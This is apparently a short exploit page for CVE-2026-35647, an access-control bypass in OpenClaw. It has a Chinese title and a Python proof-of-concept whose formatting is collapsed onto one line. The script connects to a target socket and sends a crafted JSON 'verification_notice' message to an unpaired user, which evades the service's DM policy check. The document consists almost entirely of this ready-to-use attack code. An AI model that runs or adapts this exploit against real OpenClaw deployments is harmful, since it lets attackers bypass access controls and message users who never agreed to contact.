CVE-2026-35647 OpenClaw访问控制绕过漏洞

import socket import json # PoC for CVE-2026-35647: OpenClaw Verification Notice Bypass # This script simulates sending a verification notice to an unpaired peer. def send_verification_notice(target_ip, target_port, victim_user_id): try: # Establish connection to the OpenClaw service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft payload mimicking a verification notice # The vulnerability lies in the 'type' field triggering a bypass payload = { "action": "send_message", "type": "verification_notice", "recipient": victim_user_id, "content": "Bypassed DM Policy Check" } # Send payload message = json.dumps(payload).encode('utf-8') s.sendall(message) print(f"[+] Verification notice sent to {victim_user_id} bypassing DM policy.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage TARGET_HOST = "127.0.0.1" TARGET_PORT = 8080 VICTIM_ID = "unpaired_user_123" send_verification_notice(TARGET_HOST, TARGET_PORT, VICTIM_ID)